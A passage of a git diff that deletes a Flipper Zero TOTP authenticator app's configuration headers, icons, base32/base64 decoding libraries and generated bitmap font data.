TOTP_OBSOLETE_CRYPTO_V2_COMPATIBILITY_ENABLED -#endif - -// Enables\disables userfriendly TOTP CLI help text -// If disabled, it will print a link to a wiki page -#ifndef TOTP_CLI_NO_RICH_HELP -#define TOTP_CLI_RICH_HELP_ENABLED -#endif - -// Enables\disables "Add new token" UI -// If disabled it will print a link to wiki page -#ifndef TOTP_UI_NO_ADD_NEW_TOKEN -#define TOTP_UI_ADD_NEW_TOKEN_ENABLED -#endif - -// List of compatible firmwares -#define TOTP_FIRMWARE_OFFICIAL_STABLE (1) -#define TOTP_FIRMWARE_OFFICIAL_DEV (2) -#define TOTP_FIRMWARE_XTREME_UL (3) -// End of list - -// Target firmware -#ifndef TOTP_TARGET_FIRMWARE -#define TOTP_TARGET_FIRMWARE TOTP_FIRMWARE_XTREME_UL -#endif diff --git a/applications/external/totp/config/wolfssl/config.h b/applications/external/totp/config/wolfssl/config.h deleted file mode 100644 index 6500d6422..000000000 --- a/applications/external/totp/config/wolfssl/config.h +++ /dev/null @@ -1,34 +0,0 @@ -#pragma once - -#define NO_OLD_SHA_NAMES -#define WOLFCRYPT_ONLY -#define NO_SIG_WRAPPER -#define NO_AES -#define NO_AES_CBC -#define NO_DES3 -#define NO_DSA -#define NO_RSA -#define NO_DH -#define NO_RC4 -#define NO_MD4 -#define NO_MD5 -#define NO_PKCS12 -#define NO_PKCS8 -#define WC_NO_RNG -#define NO_FILESYSTEM -#define NO_WRITEV -#define NO_MAIN_DRIVER -#define NO_DEV_RANDOM -#define WOLFSSL_SHA512 -#define WOLFSSL_NOSHA512_224 -#define WOLFSSL_NOSHA512_256 -#define USE_SLOW_SHA512 -#define USE_SLOW_SHA256 -#define USE_SLOW_SHA -#define NO_CERTS -#define NO_WOLFSSL_MEMORY -#define WOLFSSL_NO_PEM -#define NO_PSK -#define NO_ERROR_STRINGS -#define NO_OLD_TLS -#define SINGLE_THREADED diff --git a/applications/external/totp/images/hid_ble_31x9.png b/applications/external/totp/images/hid_ble_31x9.png deleted file mode 100644 index fb999231f..000000000 Binary files a/applications/external/totp/images/hid_ble_31x9.png and /dev/null differ diff --git a/applications/external/totp/images/hid_usb_31x9.png b/applications/external/totp/images/hid_usb_31x9.png deleted file mode 100644 index c6b8aa228..000000000 Binary files a/applications/external/totp/images/hid_usb_31x9.png and /dev/null differ diff --git a/applications/external/totp/images/totp_arrow_left_8x9.png b/applications/external/totp/images/totp_arrow_left_8x9.png deleted file mode 100644 index 3bf9121c0..000000000 Binary files a/applications/external/totp/images/totp_arrow_left_8x9.png and /dev/null differ diff --git a/applications/external/totp/images/totp_arrow_right_8x9.png b/applications/external/totp/images/totp_arrow_right_8x9.png deleted file mode 100644 index 8c6a8bfeb..000000000 Binary files a/applications/external/totp/images/totp_arrow_right_8x9.png and /dev/null differ diff --git a/applications/external/totp/lib/base32/base32.c b/applications/external/totp/lib/base32/base32.c deleted file mode 100644 index 827aa1e94..000000000 --- a/applications/external/totp/lib/base32/base32.c +++ /dev/null @@ -1,60 +0,0 @@ -// Base32 implementation -// -// Copyright 2010 Google Inc. -// Author: Markus Gutschke -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -#include "base32.h" - -size_t base32_decode(const uint8_t* encoded, uint8_t* result, size_t bufSize) { - int buffer = 0; - int bitsLeft = 0; - size_t count = 0; - for(const uint8_t* ptr = encoded; count < bufSize && *ptr; ++ptr) { - uint8_t ch = *ptr; - if(ch == ' ' || ch == '\t' || ch == '\r' || ch == '\n' || ch == '-') { - continue; - } - buffer <<= 5; - - // Deal with commonly mistyped characters - if(ch == '0') { - ch = 'O'; - } else if(ch == '1') { - ch = 'L'; - } else if(ch == '8') { - ch = 'B'; - } - - // Look up one base32 digit - if((ch >= 'A' && ch <= 'Z') || (ch >= 'a' && ch <= 'z')) { - ch = (ch & 0x1F) - 1; - } else if(ch >= '2' && ch <= '7') { - ch -= '2' - 26; - } else { - return 0; - } - - buffer |= ch; - bitsLeft += 5; - if(bitsLeft >= 8) { - result[count++] = buffer >> (bitsLeft - 8); - bitsLeft -= 8; - } - } - if(count < bufSize) { - result[count] = '\000'; - } - return count; -} diff --git a/applications/external/totp/lib/base32/base32.h b/applications/external/totp/lib/base32/base32.h deleted file mode 100644 index a0ec86e82..000000000 --- a/applications/external/totp/lib/base32/base32.h +++ /dev/null @@ -1,40 +0,0 @@ -// Base32 implementation -// -// Copyright 2010 Google Inc. -// Author: Markus Gutschke -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. -// -// Encode and decode from base32 encoding using the following alphabet: -// ABCDEFGHIJKLMNOPQRSTUVWXYZ234567 -// This alphabet is documented in RFC 4648/3548 -// -// We allow white-space and hyphens, but all other characters are considered -// invalid. -// -// All functions return the number of output bytes or -1 on error. If the -// output buffer is too small, the result will silently be truncated. - -#pragma once - -#include -#include - -/** - * @brief Decodes Base-32 encoded bytes into plain bytes. - * @param encoded Base-32 encoded bytes - * @param[out] result result output buffer - * @param bufSize result output buffer size - * @return Decoded result length in bytes if successfully decoded; \c 0 otherwise - */ -size_t base32_decode(const uint8_t* encoded, uint8_t* result, size_t bufSize); diff --git a/applications/external/totp/lib/base64/base64.c b/applications/external/totp/lib/base64/base64.c deleted file mode 100644 index 2cb0d2ffc..000000000 --- a/applications/external/totp/lib/base64/base64.c +++ /dev/null @@ -1,73 +0,0 @@ -/* - * Base64 encoding/decoding (RFC1341) - * Copyright (c) 2005, Jouni Malinen - * Modified and optimized for Flipepr Zero device purposes by Alex Kopachov (@akopachov) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 as - * published by the Free Software Foundation. - * - * Alternatively, this software may be distributed under the terms of BSD - * license. - * - */ - -#include "base64.h" -#include - -static const uint8_t dtable[] = {0x3e, 0x80, 0x80, 0x80, 0x3f, 0x34, 0x35, 0x36, 0x37, 0x38, - 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x80, 0x80, 0x80, 0x0, 0x80, - 0x80, 0x80, 0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, - 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, - 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x80, 0x80, - 0x80, 0x80, 0x80, 0x80, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, - 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, - 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33}; - -static uint8_t get_dtable_value(uint8_t index) { - return (index < 43 || index > 122) ? 0x80 : dtable[index - 43]; -} - -uint8_t* base64_decode(const uint8_t* src, size_t len, size_t* out_len, size_t* out_size) { - uint8_t* out; - uint8_t* pos; - uint8_t in[4]; - uint8_t block[4]; - uint8_t tmp; - size_t i; - size_t count; - size_t olen; - - count = 0; - for(i = 0; i < len; i++) { - if(get_dtable_value(src[i]) != 0x80) count++; - } - - if(count == 0 || count % 4) return NULL; - olen = count / 4 * 3; - pos = out = malloc(olen); - *out_size = olen; - if(out == NULL) return NULL; - count = 0; - for(i = 0; i < len; i++) { - tmp = get_dtable_value(src[i]); - if(tmp == 0x80) continue; - in[count] = src[i]; - block[count] = tmp; - count++; - if(count == 4) { - *pos++ = (block[0] << 2) | (block[1] >> 4); - *pos++ = (block[1] << 4) | (block[2] >> 2); - *pos++ = (block[2] << 6) | block[3]; - count = 0; - } - } - if(pos > out) { - if(in[2] == '=') - pos -= 2; - else if(in[3] == '=') - pos--; - } - *out_len = pos - out; - return out; -} \ No newline at end of file diff --git a/applications/external/totp/lib/base64/base64.h b/applications/external/totp/lib/base64/base64.h deleted file mode 100644 index 059ec5a90..000000000 --- a/applications/external/totp/lib/base64/base64.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include - -/** - * @brief Decodes Base-64 encoded bytes into plain bytes. - * @param src Base-64 encoded bytes - * @param len Base-64 encoded bytes count - * @param[out] out_len decoded buffer length - * @param[out] out_size decoded buffer allocated size - * @return Decoded result buffer if successfully decoded; \c NULL otherwise - */ -uint8_t* base64_decode(const uint8_t* src, size_t len, size_t* out_len, size_t* out_size); \ No newline at end of file diff --git a/applications/external/totp/lib/fonts/712serif/712serif.c b/applications/external/totp/lib/fonts/712serif/712serif.c deleted file mode 100644 index 7d0b9f1e9..000000000 --- a/applications/external/totp/lib/fonts/712serif/712serif.c +++ /dev/null @@ -1,941 +0,0 @@ -#include "712serif.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for 7:12 Serif 24pt -*/ - -/* Character bitmaps for 7:12 Serif 24pt */ -const uint8_t _712Serif_24ptBitmaps[] = { - /* @0 '-' (14 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @28 '0' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @56 '1' (14 pixels wide) */ - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - - /* @84 '2' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0xC0, - 0x03, - 0xC0, - 0x03, - 0x30, - 0x00, - 0x30, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - - /* @112 '3' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0xC0, - 0x03, - 0xC0, - 0x03, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @140 '4' (14 pixels wide) */ - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x0F, - 0xC0, - 0x0F, - - /* @168 '5' (14 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @196 '6' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @224 '7' (14 pixels wide) */ - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @252 '8' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @280 '9' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x0F, - 0xF0, - 0x0F, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @308 'B' (14 pixels wide) */ - 0xFF, - 0x00, - 0xFF, - 0x00, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - - /* @336 'C' (14 pixels wide) */ - 0xF0, - 0x33, - 0xF0, - 0x33, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x30, - 0x03, - 0x30, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @364 'D' (14 pixels wide) */ - 0xFF, - 0x03, - 0xFF, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFF, - 0x03, - 0xFF, - 0x03, - - /* @392 'F' (14 pixels wide) */ - 0xFF, - 0x3F, - 0xFF, - 0x3F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x03, - 0xFC, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @420 'G' (14 pixels wide) */ - 0xF0, - 0x33, - 0xF0, - 0x33, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0x03, - 0x00, - 0x03, - 0x00, - 0x03, - 0x3F, - 0x03, - 0x3F, - 0x03, - 0x30, - 0x03, - 0x30, - 0x0C, - 0x3C, - 0x0C, - 0x3C, - 0xF0, - 0x33, - 0xF0, - 0x33, - - /* @448 'H' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @476 'J' (14 pixels wide) */ - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @504 'K' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0xFC, - 0x00, - 0xFC, - 0x00, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @532 'M' (14 pixels wide) */ - 0x0F, - 0x3C, - 0x0F, - 0x3C, - 0x3C, - 0x0F, - 0x3C, - 0x0F, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @560 'N' (14 pixels wide) */ - 0x0F, - 0x3F, - 0x0F, - 0x3F, - 0x3C, - 0x0C, - 0x3C, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x0C, - 0x0F, - 0x0C, - 0x0F, - 0x3F, - 0x0C, - 0x3F, - 0x0C, - - /* @588 'P' (14 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x3C, - 0x30, - 0x3C, - 0x30, - 0xCC, - 0x0F, - 0xCC, - 0x0F, - 0x0C, - 0x00, - 0x0C, - 0x00, - 0x3F, - 0x00, - 0x3F, - 0x00, - - /* @616 'Q' (14 pixels wide) */ - 0xF0, - 0x03, - 0xF0, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x03, - 0x30, - 0x03, - 0x30, - 0xF3, - 0x30, - 0xF3, - 0x30, - 0x03, - 0x33, - 0x03, - 0x33, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xF0, - 0x33, - 0xF0, - 0x33, - - /* @644 'R' (14 pixels wide) */ - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0x0C, - 0x30, - 0xFC, - 0x0F, - 0xFC, - 0x0F, - 0x0C, - 0x03, - 0x0C, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @672 'T' (14 pixels wide) */ - 0xFF, - 0x3F, - 0xFF, - 0x3F, - 0xC3, - 0x30, - 0xC3, - 0x30, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x03, - 0xF0, - 0x03, - - /* @700 'V' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - - /* @728 'W' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0xCC, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - 0x30, - 0x03, - - /* @756 'X' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0x30, - 0x03, - 0x30, - 0x03, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x3F, - 0x3F, - 0x3F, - 0x3F, - - /* @784 'Y' (14 pixels wide) */ - 0x3F, - 0x3F, - 0x3F, - 0x3F, - 0x0C, - 0x0C, - 0x0C, - 0x0C, - 0x30, - 0x03, - 0x30, - 0x03, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xC0, - 0x00, - 0xF0, - 0x03, - 0xF0, - 0x03, -}; - -/* Character descriptors for 7:12 Serif 24pt */ -/* { [Char width in bits], [Offset into _712Serif_24ptCharBitmaps in bytes] } */ -const FONT_CHAR_INFO _712Serif_24ptDescriptors[] = { - {14, 0}, /* - */ - {0, 0}, /* . */ - {0, 0}, /* / */ - {14, 28}, /* 0 */ - {14, 56}, /* 1 */ - {14, 84}, /* 2 */ - {14, 112}, /* 3 */ - {14, 140}, /* 4 */ - {14, 168}, /* 5 */ - {14, 196}, /* 6 */ - {14, 224}, /* 7 */ - {14, 252}, /* 8 */ - {14, 280}, /* 9 */ - {0, 0}, /* : */ - {0, 0}, /* ; */ - {0, 0}, /* < */ - {0, 0}, /* = */ - {0, 0}, /* > */ - {0, 0}, /* ? */ - {0, 0}, /* @ */ - {0, 0}, /* A */ - {14, 308}, /* B */ - {14, 336}, /* C */ - {14, 364}, /* D */ - {0, 0}, /* E */ - {14, 392}, /* F */ - {14, 420}, /* G */ - {14, 448}, /* H */ - {0, 0}, /* I */ - {14, 476}, /* J */ - {14, 504}, /* K */ - {0, 0}, /* L */ - {14, 532}, /* M */ - {14, 560}, /* N */ - {0, 0}, /* O */ - {14, 588}, /* P */ - {14, 616}, /* Q */ - {14, 644}, /* R */ - {0, 0}, /* S */ - {14, 672}, /* T */ - {0, 0}, /* U */ - {14, 700}, /* V */ - {14, 728}, /* W */ - {14, 756}, /* X */ - {14, 784}, /* Y */ -}; - -/* Font information for 7:12 Serif 24pt */ -const FONT_INFO _712Serif_24ptFontInfo = { - "712 Serif", - 14, /* Character height */ - '-', /* Start character */ - 'Y', /* End character */ - 2, /* Width, in pixels, of space character */ - _712Serif_24ptDescriptors, /* Character descriptor array */ - _712Serif_24ptBitmaps, /* Character bitmap array */ -}; diff --git a/applications/external/totp/lib/fonts/712serif/712serif.h b/applications/external/totp/lib/fonts/712serif/712serif.h deleted file mode 100644 index 81959064d..000000000 --- a/applications/external/totp/lib/fonts/712serif/712serif.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma once - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -#include "../font_info.h" - -/* Font data for 7:12 Serif 24pt */ -extern const FONT_INFO _712Serif_24ptFontInfo; diff --git a/applications/external/totp/lib/fonts/available_fonts.c b/applications/external/totp/lib/fonts/available_fonts.c deleted file mode 100644 index dd019a758..000000000 --- a/applications/external/totp/lib/fonts/available_fonts.c +++ /dev/null @@ -1,23 +0,0 @@ -#include "available_fonts.h" -#include "712serif/712serif.h" -#include "bedstead/bedstead.h" -#include "dpcomic/dpcomic.h" -#include "funclimbing/funclimbing.h" -#include "graph35pix/graph35pix.h" -#include "karma_future/karma_future.h" -#include "mode_nine/mode_nine.h" -#include "pixelflag/pixelflag.h" -#include "redhat_mono/redhat_mono.h" -#include "zector/zector.h" - -const FONT_INFO* const available_fonts[AVAILABLE_FONTS_COUNT] = { - &modeNine_15ptFontInfo, - &_712Serif_24ptFontInfo, - &bedstead_17ptFontInfo, - &dPComic_18ptFontInfo, - &funclimbingDemo_18ptFontInfo, - &graph35pix_12ptFontInfo, - &karmaFuture_14ptFontInfo, - &pixelFlag_18ptFontInfo, - &redHatMono_16ptFontInfo, - &zector_18ptFontInfo}; diff --git a/applications/external/totp/lib/fonts/available_fonts.h b/applications/external/totp/lib/fonts/available_fonts.h deleted file mode 100644 index fd4b0c1da..000000000 --- a/applications/external/totp/lib/fonts/available_fonts.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -#include "font_info.h" - -#define AVAILABLE_FONTS_COUNT (10) - -extern const FONT_INFO* const available_fonts[AVAILABLE_FONTS_COUNT]; diff --git a/applications/external/totp/lib/fonts/bedstead/bedstead.c b/applications/external/totp/lib/fonts/bedstead/bedstead.c deleted file mode 100644 index 6b23a39d4..000000000 --- a/applications/external/totp/lib/fonts/bedstead/bedstead.c +++ /dev/null @@ -1,1057 +0,0 @@ -#include "bedstead.h" - -/* GENERATED BY https://github.com/pavius/the-dot-factory */ - -/* -** Font data for Bedstead 17pt -*/ - -/* Character bitmaps for Bedstead 17pt */ -const uint8_t bedstead_17ptBitmaps[] = { - /* @0 '-' (13 pixels wide) */ - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0xF8, - 0x07, - 0xF8, - 0x07, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - 0x00, - - /* @32 '0' (13 pixels wide) */ - 0xE0, - 0x00, - 0xF0, - 0x01, - 0xF8, - 0x03, - 0xBC, - 0x07, - 0x1E, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xBC, - 0x07, - 0xF8, - 0x03, - 0xF0, - 0x01, - 0xE0, - 0x00, - - /* @64 '1' (13 pixels wide) */ - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x00, - 0xF8, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xE0, - 0x00, - 0xF8, - 0x03, - 0xF8, - 0x03, - - /* @96 '2' (13 pixels wide) */ - 0xF0, - 0x07, - 0xFC, - 0x0F, - 0x1E, - 0x1E, - 0x1E, - 0x1C, - 0x0E, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0xC0, - 0x0F, - 0xE0, - 0x07, - 0xF0, - 0x00, - 0x7C, - 0x00, - 0x3E, - 0x00, - 0x1E, - 0x00, - 0x0E, - 0x00, - 0xFE, - 0x1F, - 0xFE, - 0x1F, - - /* @128 '3' (13 pixels wide) */ - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x00, - 0x0F, - 0x00, - 0x07, - 0xE0, - 0x07, - 0xE0, - 0x0F, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x0E, - 0x1C, - 0x1E, - 0x1C, - 0x3E, - 0x0E, - 0xFC, - 0x0F, - 0xF8, - 0x07, - - /* @160 '4' (13 pixels wide) */ - 0x80, - 0x03, - 0x80, - 0x03, - 0xE0, - 0x03, - 0xF0, - 0x03, - 0xF8, - 0x03, - 0xBC, - 0x03, - 0x9E, - 0x03, - 0x8F, - 0x03, - 0x87, - 0x03, - 0xFF, - 0x0F, - 0xFF, - 0x0F, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - 0x80, - 0x03, - - /* @192 '5' (13 pixels wide) */ - 0xFF, - 0x1F, - 0xFF, - 0x1F, - 0x07, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x00, - 0x1E, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x00, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0xFE, - 0x0F, - 0xFC, - 0x07, - 0xFC, - 0x07, - - /* @224 '6' (13 pixels wide) */ - 0xE0, - 0x07, - 0xF0, - 0x07, - 0x78, - 0x00, - 0x3C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x00, - 0x07, - 0x00, - 0xFF, - 0x07, - 0xFF, - 0x0F, - 0x07, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x0F, - 0x1E, - 0x1E, - 0x0F, - 0xFE, - 0x0F, - 0xFC, - 0x07, - - /* @256 '7' (13 pixels wide) */ - 0xFE, - 0x1F, - 0xFE, - 0x1F, - 0x00, - 0x1C, - 0x00, - 0x1E, - 0x00, - 0x0F, - 0x80, - 0x07, - 0xC0, - 0x03, - 0xE0, - 0x01, - 0xF0, - 0x00, - 0x78, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - 0x38, - 0x00, - - /* @288 '8' (13 pixels wide) */ - 0xFC, - 0x07, - 0xFE, - 0x0F, - 0x0F, - 0x1E, - 0x07, - 0x1C, - 0x07, - 0x1C, - 0x07, - 